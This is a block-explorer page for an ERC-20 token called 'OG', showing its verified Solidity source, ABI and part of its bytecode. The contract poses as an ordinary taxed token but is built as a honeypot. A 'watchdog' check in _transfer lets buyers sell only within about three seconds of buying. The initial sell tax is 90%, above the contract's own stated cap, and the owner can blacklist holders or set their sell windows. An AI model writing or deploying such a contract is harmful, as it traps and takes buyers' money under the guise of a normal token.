Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 OG
Holders
249
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
OG
Compiler Version
v0.8.19+commit.7dd6d404
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** https://t.me/OGBotChannel **/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; library Address{ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract OG is Context, IERC20, Ownable { using Address for address payable; IRouter public router; address public pair; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludedFromFee; mapping (address => bool) public _isExcludedFromMaxBalance; mapping (address => bool) public _isBlacklisted; mapping (address => uint256) public _dogSellTime; uint256 private _dogSellTimeOffset = 3; bool public watchdogMode = true; uint256 public _caughtDogs; uint8 private constant _decimals = 9; uint256 private _tTotal = 1_000_000_000 * (10**_decimals); //1b uint256 public swapThreshold = 10_000_000 * (10**_decimals); //10m 1% uint256 public maxTxAmount = 20_000_000 * (10**_decimals); // 20m 2% uint256 public maxWallet = 20_000_000 * (10**_decimals); string private constant _name = "OG"; string private constant _symbol = "OG"; struct Tax{ uint8 marketingTax; uint8 devTax; } struct TokensFromTax{ uint marketingTokens; uint devTokens; } TokensFromTax public totalTokensFromTax; Tax public buyTax = Tax(0,0); Tax public sellTax = Tax(45,45); address public marketingWallet = 0x430172CFeF7A90afDf7262308aDc6aFd6b5ceB0D; address public devWallet = 0x525bFCb552b39DcaaDD3D1CEdC4BD252B5dd9c28; bool private swapping; bool public disableMaxes = false; modifier lockTheSwap { swapping = true; _; swapping = false; } constructor () { _tOwned[_msgSender()] = _tTotal; IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; _approve(owner(), address(router), ~uint256(0)); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingWallet] = true; _isExcludedFromFee[devWallet] = true; _isExcludedFromMaxBalance[owner()] = true; _isExcludedFromMaxBalance[address(this)] = true; _isExcludedFromMaxBalance[pair] = true; _isExcludedFromMaxBalance[marketingWallet] = true; _isExcludedFromMaxBalance[devWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } // ================= ERC20 =============== // function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} // ========================================== // //============== Owner Functions ===========// function owner_rescueETH(uint256 weiAmount) public onlyOwner{ require(address(this).balance >= weiAmount, "Insufficient ETH balance"); payable(msg.sender).transfer(weiAmount); } function owner_rescueAnyERC20Tokens(address _tokenAddr, address _to, uint _amount_EXACT, uint _decimal) public onlyOwner { IERC20(_tokenAddr).transfer(_to, _amount_EXACT *10**_decimal); } function owner_setExcludedFromFee(address account,bool isExcluded) public onlyOwner { _isExcludedFromFee[account] = isExcluded; } function owner_setExcludedFromMaxBalance(address account,bool isExcluded) public onlyOwner { _isExcludedFromMaxBalance[account] = isExcluded; } function owner_setBuyTaxes(uint8 marketingTax, uint8 devTax) external onlyOwner{ uint tTax = marketingTax + devTax ; require(tTax <= 49, "Can't set tax too high"); buyTax = Tax(marketingTax,devTax); emit TaxesChanged(); } function owner_setSellTaxes(uint8 marketingTax, uint8 devTax) external onlyOwner{ uint tTax = marketingTax + devTax ; require(tTax <= 49, "Can't set tax too high"); sellTax = Tax(marketingTax,devTax); emit TaxesChanged(); } function owner_setTransferMaxesStatus(bool status_) external onlyOwner{ disableMaxes = status_; //true = no more max wallet / max tx } function owner_setTransferMaxes(uint maxTX_EXACT, uint maxWallet_EXACT) public onlyOwner{ uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals); require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings"); maxTxAmount = maxTX_EXACT * (10**_decimals); maxWallet = maxWallet_EXACT * (10**_decimals); } function owner_setSwapThreshold(uint swapthreshold_EXACT) public onlyOwner{ swapThreshold = swapthreshold_EXACT * (10**_decimals); } function owner_setBlacklisted(address account, bool isBlacklisted) public onlyOwner{ _isBlacklisted[account] = isBlacklisted; } function owner_setBulkIsBlacklisted(address[] memory accounts, bool state) external onlyOwner{ for(uint256 i =0; i < accounts.length; i++){ _isBlacklisted[accounts[i]] = state; } } function owner_setWallets(address newMarketingWallet, address newDevWallet) public onlyOwner{ marketingWallet = newMarketingWallet; devWallet = newDevWallet; } function owner_setWatchDogStatusLaunch(bool status_) external onlyOwner{ watchdogMode = status_; } function owner_setDogSellTimeForAddress(address holder, uint dTime) external onlyOwner{ _dogSellTime[holder] = block.timestamp + dTime; } // ========================================// function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){ Tax memory tmpTaxes = buyTax; if (isSell) tmpTaxes = sellTax; uint tokensForMarketing = amount * tmpTaxes.marketingTax / 100; uint tokensForDev = amount * tmpTaxes.devTax / 100; if(tokensForMarketing > 0) totalTokensFromTax.marketingTokens += tokensForMarketing; if(tokensForDev > 0) totalTokensFromTax.devTokens += tokensForDev; uint totalTaxedTokens = tokensForMarketing + tokensForDev; _tOwned[address(this)] += totalTaxedTokens; if(totalTaxedTokens > 0) emit Transfer (from, address(this), totalTaxedTokens); return (amount - totalTaxedTokens); } function _transfer(address from,address to,uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlacklisted[from] && !_isBlacklisted[to], "Blacklisted, can't trade"); if(!disableMaxes){ require(amount <= maxTxAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount."); if(!_isExcludedFromMaxBalance[to]) require(balanceOf(to) + amount <= maxWallet, "Transfer amount exceeds the _maxWallet."); } if (balanceOf(address(this)) >= swapThreshold && !swapping && from != pair && from != owner() && to != owner()) swapAndLiquify(); _tOwned[from] -= amount; uint256 transferAmount = amount; if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ transferAmount = _getTaxValues(amount, from, to == pair); if (from == pair && watchdogMode){ _caughtDogs++; _dogSellTime[to] = block.timestamp + _dogSellTimeOffset; }else{ if (_dogSellTime[from] != 0) require(block.timestamp < _dogSellTime[from]); } } _tOwned[to] += transferAmount; emit Transfer(from, to, transferAmount); } function swapAndLiquify() private lockTheSwap{ uint256 totalTokensForSwap = totalTokensFromTax.marketingTokens+totalTokensFromTax.devTokens; if(totalTokensForSwap > 0){ uint256 ethSwapped = swapTokensForETH(totalTokensForSwap); uint256 ethForMarketing = ethSwapped * totalTokensFromTax.marketingTokens / totalTokensForSwap; uint256 ethForDev = ethSwapped * totalTokensFromTax.devTokens / totalTokensForSwap; if(ethForMarketing > 0){ payable(marketingWallet).transfer(ethForMarketing); totalTokensFromTax.marketingTokens = 0; } if(ethForDev > 0){ payable(devWallet).transfer(ethForDev); totalTokensFromTax.devTokens = 0; } } emit SwapAndLiquify(); } function swapTokensForETH(uint256 tokenAmount) private returns (uint256) { uint256 initialBalance = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); return (address(this).balance - initialBalance); } event SwapAndLiquify(); event TaxesChanged(); }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_caughtDogs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_dogSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"devTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableMaxes","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount_EXACT","type":"uint256"},{"internalType":"uint256","name":"_decimal","type":"uint256"}],"name":"owner_rescueAnyERC20Tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"owner_rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"owner_setBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"owner_setBulkIsBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"devTax","type":"uint8"}],"name":"owner_setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"dTime","type":"uint256"}],"name":"owner_setDogSellTimeForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"owner_setExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"owner_setExcludedFromMaxBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"devTax","type":"uint8"}],"name":"owner_setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapthreshold_EXACT","type":"uint256"}],"name":"owner_setSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTX_EXACT","type":"uint256"},{"internalType":"uint256","name":"maxWallet_EXACT","type":"uint256"}],"name":"owner_setTransferMaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status_","type":"bool"}],"name":"owner_setTransferMaxesStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"},{"internalType":"address","name":"newDevWallet","type":"address"}],"name":"owner_setWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status_","type":"bool"}],"name":"owner_setWatchDogStatusLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"devTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensFromTax","outputs":[{"internalType":"uint256","name":"marketingTokens","type":"uint256"},{"internalType":"uint256","name":"devTokens","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"watchdogMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260036009556001600a60006101000a81548160ff0219169083151502179055506009600a62000034919062000dcb565b633b9aca0062000045919062000e1c565b600c556009600a62000058919062000dcb565b6298968062000068919062000e1c565b600d556009600a6200007b919062000dcb565b6301312d006200008c919062000e1c565b600e556009600a6200009f919062000dcb565b6301312d00620000b0919062000e1c565b600f556040518060400160405280600060ff168152602001600060ff16815250601260008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555050506040518060400160405280602d60ff168152602001602d60ff16815250601360008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff160217905550505073430172cfef7a90afdf7262308adc6afd6b5ceb0d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073525bfcb552b39dcaadd3d1cedc4bd252b5dd9c28601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006015806101000a81548160ff0219169083151502179055503480156200024a57600080fd5b506200026b6200025f6200096b60201b60201c565b6200097360201b60201c565b600c5460036000620002826200096b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000327573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034d919062000ed1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003db919062000ed1565b6040518363ffffffff1660e01b8152600401620003fa92919062000f14565b6020604051808303816000875af11580156200041a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000440919062000ed1565b905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200050a620004d862000a3760201b60201c565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660001962000a6060201b60201c565b6001600560006200052062000a3760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000620006d362000a3760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620008fa6200096b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516200095b919062000f52565b60405180910390a35050620010b0565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000ad2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ac99062000ff6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000b44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b3b906200108e565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000c24919062000f52565b60405180910390a3505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000cbf5780860481111562000c975762000c9662000c31565b5b600185161562000ca75780820291505b808102905062000cb78562000c60565b945062000c77565b94509492505050565b60008262000cda576001905062000dad565b8162000cea576000905062000dad565b816001811462000d03576002811462000d0e5762000d44565b600191505062000dad565b60ff84111562000d235762000d2262000c31565b5b8360020a91508482111562000d3d5762000d3c62000c31565b5b5062000dad565b5060208310610133831016604e8410600b841016171562000d7e5782820a90508381111562000d785762000d7762000c31565b5b62000dad565b62000d8d848484600162000c6d565b9250905081840481111562000da75762000da662000c31565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000dd88262000db4565b915062000de58362000dbe565b925062000e147fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000cc8565b905092915050565b600062000e298262000db4565b915062000e368362000db4565b925082820262000e468162000db4565b9150828204841483151762000e605762000e5f62000c31565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000e998262000e6c565b9050919050565b62000eab8162000e8c565b811462000eb757600080fd5b50565b60008151905062000ecb8162000ea0565b92915050565b60006020828403121562000eea5762000ee962000e67565b5b600062000efa8482850162000eba565b91505092915050565b62000f0e8162000e8c565b82525050565b600060408201905062000f2b600083018562000f03565b62000f3a602083018462000f03565b9392505050565b62000f4c8162000db4565b82525050565b600060208201905062000f69600083018462000f41565b92915050565b600082825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600062000fde60248362000f6f565b915062000feb8262000f80565b604082019050919050565b60006020820190508181036000830152620010118162000fcf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006200107660228362000f6f565b9150620010838262001018565b604082019050919050565b60006020820190508181036000830152620010a98162001067565b9050919050565b6143e680620010c06000396000f3fe6080604052600436106102765760003560e01c80638c0b5e221161014f578063cfe9dde0116100c1578063f0c830fc1161007a578063f0c830fc146109ab578063f2fde38b146109d4578063f837ae07146109fd578063f887ea4014610a26578063f8b45b0514610a51578063f9d0ee9414610a7c5761027d565b8063cfe9dde014610889578063d3752d9b146108b2578063dd62ed3e146108db578063e0a877c814610918578063ee9a5d8214610943578063ef07a182146109805761027d565b8063a457c2d711610113578063a457c2d714610766578063a8aa1b31146107a3578063a9059cbb146107ce578063b72a47341461080b578063cb0e6f7b14610834578063cc1776d31461085d5761027d565b80638c0b5e22146106915780638da5cb5b146106bc5780638ea5220f146106e757806390ea2c781461071257806395d89b411461073b5761027d565b8063313ce567116101e85780635966c81e116101ac5780635966c81e1461058157806370a08231146105aa578063715018a6146105e7578063747b900e146105fe57806375f0a87414610629578063768dc710146106545761027d565b8063313ce5671461049b57806339509351146104c65780634ba422bc146105035780634cf279971461052c5780634f7041a5146105555761027d565b80631b0f93811161023a5780631b0f9381146103695780631cdd3be3146103925780631e17989e146103cf5780631e9ec60d146103f857806323b872dd1461042157806328c61f411461045e5761027d565b806302f69b7f146102825780630445b667146102ab57806306fdde03146102d6578063095ea7b31461030157806318160ddd1461033e5761027d565b3661027d57005b600080fd5b34801561028e57600080fd5b506102a960048036038101906102a4919061303e565b610aa8565b005b3480156102b757600080fd5b506102c0610b40565b6040516102cd9190613084565b60405180910390f35b3480156102e257600080fd5b506102eb610b46565b6040516102f8919061312f565b60405180910390f35b34801561030d57600080fd5b50610328600480360381019061032391906131db565b610b83565b604051610335919061322a565b60405180910390f35b34801561034a57600080fd5b50610353610ba1565b6040516103609190613084565b60405180910390f35b34801561037557600080fd5b50610390600480360381019061038b919061327e565b610bab565b005b34801561039e57600080fd5b506103b960048036038101906103b491906132be565b610d11565b6040516103c6919061322a565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f191906132eb565b610d31565b005b34801561040457600080fd5b5061041f600480360381019061041a919061332b565b610e08565b005b34801561042d57600080fd5b5061044860048036038101906104439190613358565b610ea6565b604051610455919061322a565b60405180910390f35b34801561046a57600080fd5b50610485600480360381019061048091906132be565b610f5e565b604051610492919061322a565b60405180910390f35b3480156104a757600080fd5b506104b0610f7e565b6040516104bd91906133ba565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e891906131db565b610f87565b6040516104fa919061322a565b60405180910390f35b34801561050f57600080fd5b5061052a600480360381019061052591906133d5565b611033565b005b34801561053857600080fd5b50610553600480360381019061054e91906131db565b611179565b005b34801561056157600080fd5b5061056a611248565b604051610578929190613415565b60405180910390f35b34801561058d57600080fd5b506105a860048036038101906105a3919061332b565b611274565b005b3480156105b657600080fd5b506105d160048036038101906105cc91906132